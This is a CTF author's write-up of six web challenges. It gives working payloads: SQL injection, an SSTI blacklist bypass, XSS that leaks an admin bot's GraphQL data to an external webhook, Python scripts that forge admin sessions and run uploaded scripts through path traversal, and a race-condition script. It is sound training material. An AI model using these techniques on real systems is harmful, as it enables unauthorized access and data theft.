Yooo, welcome to this long writeup. Well, I will be talking mainly about the challenges I released in the NCSC 4.0 CTF. The ctf was 12 hours long and many great teams joined. It was really a challenge as I didn’t know what difficulty the challenges should be. So, I made 3 easy and 3 hard. The hard challenges are real life scenarios that I have read in writeups. They might seem intimidating but I made sure to make them guided in a way the participant will only have one thing to exploit at a time and it’s the most appearant one.
warmup - 500pts
Warming up for the nodejs
challenges fiesta !
Okay, as we can see
Source was available, so let’s read it
It’s an express application that verifies the existence of a cookie. The cookie is base64 encoded and should tranform to a JSON format.
The flag is console.log
in the application that’s all we have. Well, we should notice the use of a weird library called parsetrace
If you look for it in its npm page.
You will find out that it prints the lines of code near the one that raised the execution which is enough to know that our goal is to raise an exception inside the application. _You can tell that too by the way try catch blocks are seperated.
Now, let’ see what can do
The interesting part is left off the screen
So this call to the toString
might raise an exception !
So by this I understand that the null
type doesn’t have a toString
function. so we can write out final payload
ewoidXNlcm5hbWUiOiJhZG1pbiIsCiJwYXNzd29yZCI6InRoaXNfaXNfdGhlX3JlYWxfcGFzc3dvcmRfaXQnc190aGVfc2FtZV9kZXBsb3llZCIsCiJuaWNrbmFtZSI6bnVsbAp9
et voila !
baby-sqli - 500pts
An easy challenge that is about a simple SQL injection.
I captured the request and tried to see how it works and eventually breaks
Some kind of blacklist is running on the background. Well, no further due the playlist will inhibit all kind of special chars except '
After a bit of tinkering the participant should trigger the SQLI with something similar to this ' or 1=1 or id='a1
.
As we can see the values returned from the table are pretty much random or hard to tell other ones similar to them except the owner’s one !
So by trying to increment the owner by 1 each time in this payload ' or owner=1 or id='a1
We get the flag at last !
baby-ssti - 500pts
Forcing people to do python ssti the right way hihi.
Well, in this challenge we got the source code. We have to visit the /source
to get it. It might look bad in the browser as it contains HTML code which will be rendered
So let’s download it. I use wget
to avoid typing the extra -o
with curl xdd
Opening the file, we will notice, quickly
-
The existence of a SSTI vulnerability
-
A wicked blacklist
As usual, the challenges seems hard but they are pretty easy. At the competition, I completely forgot that participants can find the /source
endpoint by visiting the /robots.txt
and so I made an announcement about it.
Well, let’s go back how we can get our dear flag. The challenge aim is to perform the basic SSTI vulnerability without any super payload, which will work in all situations.
At first let’s find all the useful classes that will help us get code execution
We will get something like this
Now, let me show you a secret strategy that helps find the offset of the class that I am looking for
Using Cyberchef I paste the output
Now, I just CTRL+F
what I am looking for. Here, I went to look for the <class '_io._IOBase'>
class as it has the FileIO
class which allows to read a file with the read
function.
As we can see it’s the 93
th well which will become 92
as the line numbers start from 1 ( Even if it didn’t work, you can just enumerate down or up by 2,3 elements till the payload works )
Now, I can finish the rest my payload but wait we got read
in the blacklist too !
Well, we can do the |attr('\x72\x65\x61\x64')()
which will bypass the blacklist finely.
Lunacra - 1000pts
Well, reading the shady text on the homepage. We can tell a few things which put many participants off the track. Especially this sentence Share your precious light with only the ones you accepted
. We can tell that we choose who can view our posts/stories or whatever they are !
Let’s try connecting
Okay, we see the admin thing, create a story part and it’s still ambiguous. In this challenge, I tried to make it very similar to real life situations. No source code is given but you have everything you need to exploit the app at your reach. If you know where to find it of course !
Opening burp on the side and trying to just use the website a bit and logging the api requests at the same time.
Functionalities
The application works as following :
- A user can view only the requests of his friends ( As the sentence in the homepage implies )
- A user has the friend as an admin.
- If you enumerate and use the bot you will know that the admin has nothing interesting, and the goal is to find another use who is the ultimate demon king !
Enumeration
It’s using graphql
and as we can see some queries there running. The queries are made with javascript as no redirection of any kind happened. So, the most compelling thing is to do some graphql introspection and see if it works
Here is a good article that can guide you through enumerating the /graphql
endpoint. Using the introspection payload, we will find many good things
We can find the types used in the queries so we don’t feel lost later.
Mutations
Our queries
So, by going deeper we can find many mutations and queries. I left a hint here, that I in the javascript file I defined all mutations and queries gql
except one which is SearchUser
Also, even the participant decided to try the other ones, he will find at last that they are either useless or won’t lead you to anywhere !
The SearchUser
is pretty simple. It accepts userHandle
as an argument, and returns a boolean which means the user with the handle exists or no !
If we try to send a request with our account we will get unauthorized
which means we need admin privileges to access that endpoint. Here comes the admin bot.
We can try to assess the behavior of the bot by creating a random story and sending the bot to visit it
<script>
fetch("YOUR_WEBHOOK_HERE");
</script>
It will certainly hit ! Now, we got XSS and a function to leak the userHandle something missing as we need to see his stories which means we need to add him as a friend
The friend query needs the referral code but from where can we get it ?
Here we go, a User
query will get us all the needed informations as in the UserPublicInfos
type we have
Both the userHandle
and the referralCode
. Let’s do thiis
Here is the story that will the user
<!DOCTYPE html>
<html>
<body>
<script>
async function exploit(){
let chars="0123456789abcdefghijklmnopqrstuvwxyz_-"
let flag = "secret_user"; // Just to make search easier. I gave this as a free hint through the competition for anyone who got here
const ENDPOINT="/graphql"
const sendGQLRequest = async (query, variables, headers) => {
const resp = await fetch(ENDPOINT, {
method: "post",
credentials: "include",
headers: {
"content-type": "application/json",
...headers,
},
body: JSON.stringify({
query,
variables
})
})
const responseBody = await resp.json()
return { resp, responseBody }
}
const searchUser = (variables) => sendGQLRequest(SEARCH_USER_MUT, variables);
const SEARCH_USER_MUT = `query SearchUser($userHandle: String!) {
SearchUser(userHandle: $userHandle)
}`
let i =0;
while(true&&flag.length<30){
skip=false
await searchUser({userHandle: flag + chars[i]}).then(async (res) => {
// console.log(res.responseBody.data.SearchUser)
if(res.responseBody.data.SearchUser){
fetch("https://en01dvvl9f4ych.x.pipedream.net/?flag=" + flag )
flag += chars[i];
i=0;
skip=true
}
})
if(!skip)
i++
if(i==chars.length) break;
}
}
exploit()
</script>
</html
Okay so our userHandle
is Leaked !.
Now, let’s try to get the user referral code with this
<script>
const ENDPOINT = "http://web:4000/graphql";
const sendGQLRequest = async (query, variables, headers) => {
const resp = await fetch(ENDPOINT, {
method: "post",
credentials: "include",
headers: {
"content-type": "application/json",
...headers,
},
body: JSON.stringify({
query,
variables,
}),
});
const responseBody = await resp.json();
return { resp, responseBody };
};
const query = `{
User(userHandle: "secret_user_a0c5f626-647f-4a66-8") {
userHandle
referralCode
}
}`;
async function exploit() {
// To check if it went through
fetch("https://en01dvvl9f4ych.x.pipedream.net/?cookie=test1");
await sendGQLRequest(query, {}, {}).then((x) =>
fetch(
"https://en01dvvl9f4ych.x.pipedream.net/?cookie=" + JSON.stringify(x)
)
);
}
exploit();
</script>
Let’s add this super demon king as our new friend :D
Tadaaa, seeing his stories we find the flag.
Rust0Songs - 1000pts
A spotify like application but made with rust. Well, to make this challenge I had to spend one week writing and talking only with rust. It was a very painful process at first but the moment I finished the rust’s holy book, I become half fluent or let’s say I become to have a hunch of what’s going wrong when an error arises :,)
This challenge is a code review one. The vulnerabilities are simple but it’s a complete working app with many lines of code .
A tip to approach the challenge was to use the frontend as it reflects the available functionalities and try to read the part of code getting executed on the backend’s code. You will understand what’s happening in no time.
Let’s jump directly to the vulnerable code and it’s a bad authentication mechanism. It’s a session based auth implemented with a bad algo.
Getting admin
Let’s see how the token is generated at the first place !
Alright, that’s pretty vulnerable for anyone who knows the xor
operation we know if we can tell how the user_des
string looks by xoring the result
which is the base64 decoded token with with it we can retrieve the SECRET_KEY
. Pretty cool !
But how does the deserialized user looks ?
Looking to the docs rust packages’ docs are super cool
Okay so by this example, we should understand that the user will have
username: value_here
email: value_here
I provided the docker files so any participant can just log the content of the deserialized object !
import requests
from pwn import xor
import base64
import hashlib
import sys
URL = "http://localhost:4040/"
session = requests.Session()
resp = session.post(URL+"auth/register",
json={"username": "test", "email": "test@gmail.com", "password": "test"})
resp = session.post(
URL+"auth/login", json={"email": "test@gmail.com", "password": "test"})
print(resp.json()['id_token'])
token = resp.json()['id_token']
decoded_token = base64.b64decode(token)
print(b"decoded token " + decoded_token)
file_content = b"username: test\nemail: test@gmail.com"
encoded_des_user = base64.b64encode(file_content)
secret_key = xor(encoded_des_user, decoded_token)
print(f"[+] secret key= {secret_key}")
secret_key = input(">>>> Insert the secret key, try to notice the recurrent the pattern\n")
assert(secret_key == "6e4ee8574720b2f2de04c1b915d099cd%")
If the deserialized user string is longer than the secret key so the secret key will repeat itself to match the deser_user string’s length. This prompt is to detect the reoccurence. You can use a crypto library but I added ’%’ so it’s easily detectable
Then we generate the admin’s token. We can find in the seed file the infos for the admin !
So we generate it
file_content = """username: admin email: admin@gmail.com""".strip().encode('utf-8')
encoded_des_user = base64.b64encode(file_content)
session_before_hash = xor(encoded_des_user, secret_key.encode('utf-8'))
print(f"[+] session after hash= {base64.b64encode(session_before_hash)}\n\n")
admin_session_key = base64.b64encode(session_before_hash)
print(f"[+] admin_session_key= {admin_session_key}\n\n")
print(f"[+] session after hash= {hashlib.md5(admin_session_key).hexdigest()}")
Admin part - Code execution
Now, that we are admin we can access the admin’s view
So we can manage do a bunch of admin’s stuff. After clicking, we can find that only two features work.
The createSong
one and the runScript
. Let’s see the code behind it.
First the createSong
during it there is a call to upload cover file and song file. Let’s see how it’s done
So we got an arbitrary file upload that we can use. Let’s go back to the convert and script running thing. As we might be able to upload a script that we can execute !
Here we goo, yes we do have that !!! Even there is a file extension restriction on the song’s file. It doesn’t matter as we will be executing it using the bash command :D !
The folder structure is like this
So let’s write a cool script to upload the files, make sure we have a bad song file with the scripts then execute it :D
open('file.txt', 'rb') # create an empty demo file
files = {
'song_file': ('../../scripts/file.mp3', open('file.txt', 'r')),
'cover_image': ('file.png', open('file.txt', 'r'))
}
resp = session.post(URL+'songs/upload',
headers={'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")}, files=files, data={})
print("Response text", resp.text)
assert(resp.status_code == 200)
resp = session.get(URL + 'convert', json={"script_id": "file.mp3"})
resp = session.post(URL + 'convert', json={"script_id": "file.mp3", "song_id": 1}, headers={
'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")})
print(resp.json())
What’s inside file.txt
ls /
and here is the whole script for solving this challenge
import requests
from pwn import xor
import base64
import hashlib
import sys
URL = "http://rust0songs.ctf.securinets.tn/"
session = requests.Session()
resp = session.post(URL+"auth/register",
json={"username": "test1", "email": "test1@gmail.com", "password": "test1"})
resp = session.post(
URL+"auth/login", json={"email": "test1@gmail.com", "password": "test1"})
print(resp.text)
print(resp.json()['id_token'])
token = resp.json()['id_token']
decoded_token = base64.b64decode(token)
print(b"decoded token " + decoded_token)
file_content = b"username: test1\nemail: test@gmail.com"
encoded_des_user = base64.b64encode(file_content)
secret_key = xor(encoded_des_user, decoded_token)
print(f"[+] secret key= {secret_key}")
secret_key = input(">>>> Insert the secret key, try to notice the recurrent the pattern\n")
secret_key = secret_key.strip()
file_content = """username: admin
email: admin@gmail.com""".strip().encode('utf-8')
encoded_des_user = base64.b64encode(file_content)
session_before_hash = xor(encoded_des_user, secret_key.encode('utf-8'))
print(f"[+] session after hash= {base64.b64encode(session_before_hash)}\n\n")
admin_session_key = base64.b64encode(session_before_hash)
print(f"[+] admin_session_key= {admin_session_key}\n\n")
print(f"[+] session before hash= {admin_session_key}")
print(f"[+] session before hash should be= Uj16CQZVAF9WYGcGK3UgWQYyXEEgXDRNaGIIQ3ZQIQx/cVREBw56W1VjcUJSIQcMUFZVDQ==")
print("\n\n")
print(f"[+] session after hash= {hashlib.md5(admin_session_key).hexdigest()}")
print(
f"[+] session should be= {hashlib.md5('Uj16CQZVAF9WYGcGK3UgWQYyXEEgXDRNaGIIQ3ZQIQx/cVREBw56W1VjcUJSIQcMUFZVDQ=='.encode('utf-8')).hexdigest()}")
print(hashlib.md5(admin_session_key).hexdigest())
open('file.txt', 'rb') # create an empty demo file
files = {
'song_file': ('../../scripts/file.mp3', open('file.txt', 'r')),
'cover_image': ('file.png', open('file.txt', 'r'))
}
resp = session.post(URL+'songs/upload',
headers={'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")}, files=files, data={})
print("Response text", resp.text)
assert(resp.status_code == 200)
resp = session.get(URL + 'convert', json={"script_id": "file.mp3"})
resp = session.post(URL + 'convert', json={"script_id": "file.mp3", "song_id": 1}, headers={
'Authorization': 'Bearer ' + admin_session_key.decode("utf-8")})
print(resp.json())
Yeah what’s worse that logic flaws and especially in rust.
Citz - 1000pts
A cool life simulation game, inspired by the daily struggle :,_)
It’s a react web app, served by an express server. Let’s use the app a bit !
After the end of each day the tax of the government will be taken from you balance. The taxes this year are 50đź’°
Okay so each day, we can do a certain amount of activities and at the end of it taxes worth 50$ will be taken from our balance. That’s sad as we will become poor eventually and the flag is (720$) !!!
We need to find a way to become rich. First, let’s enumerate the app by using and clicking around
Enumeration
The admin view, we got a help button that download a
admin.js
file that contains unauthorized
Let’s see what’s there inside the token
Interesting a JKU token, some ideas should start popping up seeing that.
And a /logout
endpoint with open redirect. Well, to cut it short as this writeup got a little bit too much long. The server only accepts jku url’s that start with localhost:4000. We can fool him to read our own public key by using the open redirect vulnerability. It’s pretty simple. All we need is to host a local server that has a jkus.json file. Make sure the key identifier kid is the same as the token as that kid is fixed and if it doesn’t exist then it will fail verifying. Here is a cool blog that explains it further
Becoming admin
Blog article about JKU claim misuse
Okay I changed the sub
to 1 and got admin
Open the browser console and paste
localStorage.setItem("token", "YOUR_TOKEN_HERE");
and you can access admin in the app !
Now clicking on the help button we get
Getting rich
Which looks like the source code for the admin routes
Inside we can find a route named give-dividends
. Which send some balance to the user. But this bonus can be added only once or as it seems. the value of dividend is 370 so we need to have the admin add twice to a user to get the flag.
It’s quite simple as we can notice the race condition
- Lack of await + The fact we are saving the new user balance before adding the dividend to the database
import asyncio
import httpx
import json
async def use_code(client):
resp = await client.post(f'http://localhost:5000/api/admin/give-dividends', headers={"Authorization":"Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEiLCJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjUwMDAvbG9nb3V0P3JlZGlyZWN0X3VyaT1odHRwOi8vbG9jYWxob3N0OjUwMDAvLndlbGwta25vd24vandrcy5qc29uIn0.eyJzdWIiOjEsImlhdCI6MTY3OTE1MjQ4MywiZXhwIjoxNjc5MTUzMzgzfQ.pgmziu-c1CtG6lud8NkPL18SVzr34u2LG0CKfeM-sMvePMtVJLxyMtITdTpS0_VPEoc87jx3A9EfPUSAiSTFUn6-4bCzAhM74lrH6zXVAINmgerYVse0IJPo2Npo8kM5zIsCbS6KL6Utd8Ya3xIF_9eyIQp1crSeq0PtB18k9FDNjHLBZCld6eXuQ3RdxVkUgNvnRqilVhNzz9qsv5uwRYdh_E_ovnVP3Lbuj9-6j1UCGgc8YO3FxitIRyrN17m7pdKJIHIP7ptLhWVez_tUd7c6mGrVj17FLzbKwJB53xRmoReuY0FKGByDfbUwYpCC0rI_5wkC7ueN8tr0xhOjKg"}, json={"to": 1})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(100): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main()
)
Happy hacking !
Final words
Looking back one year ago, I vividly remember participating in this event as a newcomer, posting happily my writeups and taking my first steps in the field. Little did I know that a year later, I would be back as an author. Proud of the progress I’ve made since then.
I am deeply grateful for the encouragement, guidance, and support I received from so many people. I want to thank the event’s committee for organizing such a great opportunity for writers to showcase their skills, and all the participants, especially the teams from Algeria, who made this experience truly memorable.
As I look forward to the future, I am excited to continue honing my skills and making better more advanced challenges in the future. Until next time, Happy hacking !
If you got any questions feel free to ask me on twitter @YBK_Firelights or on discord Ophelius#3779. Happy hacking \o/ 🧨⚡